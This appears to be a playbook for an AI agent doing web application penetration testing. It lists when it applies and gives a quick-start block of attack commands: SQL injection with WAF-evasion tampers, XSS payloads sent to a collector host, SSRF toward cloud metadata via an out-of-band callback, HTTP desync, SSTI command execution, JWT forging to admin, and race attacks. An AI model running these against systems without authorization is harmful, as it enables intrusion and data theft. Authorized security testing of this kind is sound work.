Web Pentest

Web Application Penetration Testing

When to Activate

• Web application security assessment (black/grey/white box)
• API security testing (REST, GraphQL, WebSocket)
• Authentication & session management testing (JWT, OAuth/OIDC, SAML)
• Business-logic and race-condition hunting
• WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
• Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud metadata, prototype-pollution->RCE, SSTI sandbox escapes

Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

Technique Map

Quick Start

bashCopy code
# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.
